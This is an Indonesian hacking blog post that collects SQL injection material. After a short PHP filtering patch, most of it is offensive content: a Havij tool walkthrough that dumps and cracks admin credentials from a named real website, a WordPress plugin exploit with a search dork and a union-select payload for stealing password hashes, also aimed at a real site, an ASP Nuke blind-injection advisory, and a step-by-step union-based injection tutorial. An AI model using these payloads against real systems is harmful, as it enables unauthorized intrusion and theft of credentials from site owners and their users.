Selasa, 23 November 2010

Injection

  1. Injection

  2. Havij Injection Tool v1.10 SQL Injector
  3. WORDPRESS v1.0 SQL Injection Vulnerability

  4. ASP Nuke SQL Injection Vulnerability

  5. Hacking Website dg SQL Injection

 

Hmm Seorang hacker jangan hanya bisa melakukan attack, tpi persiapkan juga untuk defendnya seperti membantu admin yg kita depes ato hack melakukan pacth terhadap sitenya ...

Langsung saja...

INJECTION

Patch untuk mencegah serangan SQL Injection di halaman dinamis pada PHP + MySQL.
Biasanya halaman dinamis ini
bentuknya kayak gini http://uhui.com/vuln.php?id=[Input_Angka]

Bentuk umum kode di halaman dinamis php untuk membaca database melalui MySQL :
PHP Code:
$id = htmlentities($_GET['id']);
$variabel = mysql_query("select *from tabeltarget where idtarget='$id'")

Injection Flaw terjadi karena inputnya gak kefilter dengan baik. Sehingga input ‘$id’ yang seharusnya diisi dengan (biasanya) angka bisa diisi dengan query SQL.. Yang mengakibatkan query SQL tersebut dieksekusi sehingga injector bisa melakukan berbagai hal misalnya membaca isi database, membaca suatu file di situs tersebut, dll.

Nah, untuk mencegah hal tersebut sebaiknya kita memfilter inputnya sebelum diproses dengan SQL.

Contoh kode filternya :
PHP Code:
error_reporting(0);
class filter{
function filtering($id){
$idfilter = mysql_real_escape_string($id);
if (!ctype_digit($idfilter))
{
echo "Can't process your request, dude :P ";
exit;
}
else if ($idfilter <= 0)
{
echo "Can't process your request, dude :P ";
exit;
}
else
{
return $id;
}
}
}
$Filter2 = new filter();
$id = htmlentities($_GET['id']);
$secured = $Filter2->filtering($id);
$variabel = mysql_query("select *from tabeltarget where idtarget='$secured'")

Penjelasan :

Pertama-tama menggunakan error_reporting(0); . Kode tersebut digunakan untuk mendisable error reporting sehingga jika terjadi error tidak keluar pesan error.

Selanjutnya variabel $id disaring dulu menggunakan mysql_real_escape_string yang berfungsi untuk menambahkan slash (\) apabila ada tanda kutip pada input $id.

Setelah disaring dengan mysql_real_escape_string, disaring lagi dengan melakukan pengecekan apakah inputnya berupa angka atau bukan dengan menggunakan kode !ctype_digit . Jika ternyata bukan angka maka akan ditolak. Selain pengecekan input apakah angka atau bukan, dilakukan juga pengecekan apakah inputnya sama atau lebih kecil dari 0 (minus) jika iya maka akan ditolak.

Abis itu baru deh aplikasikan ke syntax SQL-nya.

Untuk lebih jelasnya silahkan baca ulang kode sebelum difilter dan setelah difilter berkali-kali sampai paham.
________________________________________________________________________________
-----------------------------------------------------------------------------------------------------------

Havij Injection Tool v1.10 SQL Injector

Tutor Cara memakai Havij 1.10 SQL Injector

Ini saya mengambil tips dari teman, kemarin telah posted tutor menjalankan program ini, aku cuma copy paste berhubung memang lagi malas, untuk mengulas dan bikin gambar sendiri :

Sebelum nya yang harus dipersiapkan adalah :
1. konek ke internet
2. Download program Havij 1.10 Download


Kita mulai mencoba website
contoh target kita kali ini yaitu http://www.mdsuk.org/content.php?id=8

1) Pertama jalankan program havij .........
trus masukan url target lalu klick gambar segitiga "analyze"
hasilnya kita akan mendapatkan info dari website tersebut ..

2) kedua klick tab info untuk mendapatkan informasi database na dan klick get


Havij 1.10 SQL Injector

3) Setelah mendapatkan informasi database nah ...
sekarang kita ke tab tables untuk mendapatkan tabelsnya, klick get tables dan akhirnya dapet tabelsnya, dan kelihatanlah tables adminya "tbl_admin_user"



4) Setelah itu kita akn mencari columns admin caranya centangin "tbl_admin_user" dan klick get columns dan akhirnya di dapatkan columns "tbl_admin_user"
nah sudah terpampang jelas di mata kita columns username dan password admin....



5) Centangin table username dan password dan klick get data



Akhirnya dapat sudah username dan password admin ... wah senangnya ...
Tapi tunggu dulu itu password admin masih terencrypte ...
Untung havij ini menyediakan tools descrypte md5 untuk mendescrypte password tersebut

6) klick tab yg gambar kunci warna kuning yg tulisannya md5
lalu masukin passwrd encrypte admin tersebut dan klcik start
tunggu sejenak ....dan akhirnya dapet deh password descrypte admin
Selanjut nya kita cari admin page nya ...



7) klick tab find admin trus masukin url target dan klick start ...tgu sejenak dan akhirnya di dapatkan deh admin page nya



Nah sekarang baru bisa masuk dan selanjut nya terserah anda ....

Download Tools Havij : http://www.soon2be1.com/Havij 1.10.rar

Thank's To My Family : Devilzc0de Team ^^

------------------------------------------------------------------------------------------------------

WORDPRESS v1.0 SQL Injection Vulnerability

Dork : inurl:"wp-content/plugins/photoracer/viewimg.php?id="

Exploit :
http://[site]/wp-content/plugins/photoracer/viewimg.php?id={SQLI}


EXAM: http://[site]/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

PAGE LOGIN : http://[site]/wp-login.php


Testing : http://powersimages.com/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

Selengkapnya :

Thank's : Devilzc0de Team

------------------------------------------------------------------------------------------------------

ASP Nuke SQL Injection Vulnerability

Hmm.. Ini Vuln ASP Nuke Yang Kemungkinan Bisa Kita Pelajari...
Cekidot aja deh :


Description :
===========================================================================================

1)- SQl Injection
This version of ASP Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.


Valnerable Code in .../module/article/article/article.asp:

Ln 37:
sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_
" auth.FirstName, auth.LastName, " &_
" cat.CategoryName, art.CommentCount, " &_
" art.Created " &_
"FROM tblArticle art " &_
"INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
"INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
"INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
"WHERE art.ArticleID = " & steForm("articleid") & " " &_
"AND art.Active <> 0 " &_
"AND art.Archive = 0"


Considering to the code, you can browse these URLs:

http://www.site.com/module/article/article/article.asp?articleid=7' (the false Query will be shown)
http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'-- (this Query is always true)

with the following URL you can find the first character of Username:
http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--

and second character:
http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--

and so on.

So you gain Admin's information like this:
Username : admin
Password : (sha256 hash)


Discovery : www.abysssec.com
Vendor : http://www.aspnuke.com

Sumber:
http://www.exploit-db.com/exploits/14969/


Selamat Mencoba Buat Ngembangin Ilmu kita...hehe

---------------------------------------------------------------------------------------------------

Hacking Website dengan tekhnik SQL Injection

hacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.

apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.

ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N

oke, mari kita simak bersama-sama.

1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah http://www.target.com/berita.php?id=100

2. Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.

Contoh :
http://www.target.com/berita.php?id=100'

atau

http://www.target.com/berita.php?id=-100

4. Maka akan muncul pesan error...
"You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '''
at line 1" Dan masih banyak lagi macamnya.

5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya...
Disini kita akan menggunakan perintah order by

Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*

Hohoho...apalagi itu "/*" ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake "--". Terserah aja...

Kalo "+" sebagai penghubung perintah...

6. Nah sampe sini langsung dah nyobain satu2...

http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)

Sampai muncul error...
Misalkan errornya disini...

http://www.target.com/berita.php?id=100+order+by+10/*

Berarti yang kita ambil adalah "9"
http://www.target.com/berita.php?id=100+order+by+9/*

7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION

Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*

Trus perhatikan angka berapa yang keluar (Kayak togel aja... ;p)

8. Misalnya angka hoki yang keluar adalah "3" maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah "version()" atau "@@version"

http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*

Atau

http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*

9. Nah kalo versinya 5 langsung aja pake perintah "information_schema" untuk melihat tabel dan kolom yang ada pada database...

Contoh :

http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*

Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya...Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain...ya maklum lah baru belajar...Hehehe...

Misalnya yang lo liat adalah table "admin"

Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata "table"-nya...

Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*

Misalnya kolom yang keluar adalah "password" dan "username"
Langsung aja kita liat isinya...

Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*

dan

http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*

Bisa diliat dah username ama passwordnya...Tinggal login...Cari yang asik terus...Terserah Anda...



---------------------------------------------------

begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.




Download SQL injection step by step.DOC


oke selamat mencoba.
terpenting jangan dilakukan di web teman anda ataupun di website Lokal.

referensi :
. http://jasakom.com
. http://ezine.echo.or.id
. http://cruzenaldo.co.cc
. http://students.ee.itb.ac.id

***************************************************************

Tidak ada komentar:

Posting Komentar

Free Download 4shared Premium Gratis

http://bengkelweb.co.de/4shared/

Valid CSS!

LinuxHQ LinuxHQ
Free Automatic Backlink Religion (Islam) - TOP.ORG Religion blogs powered by PRBbutton Religion Blogs - Blog Rankings rantop.com Saung Link SEO-Supreme Professional search tools for free Get Freebl Religion Blogs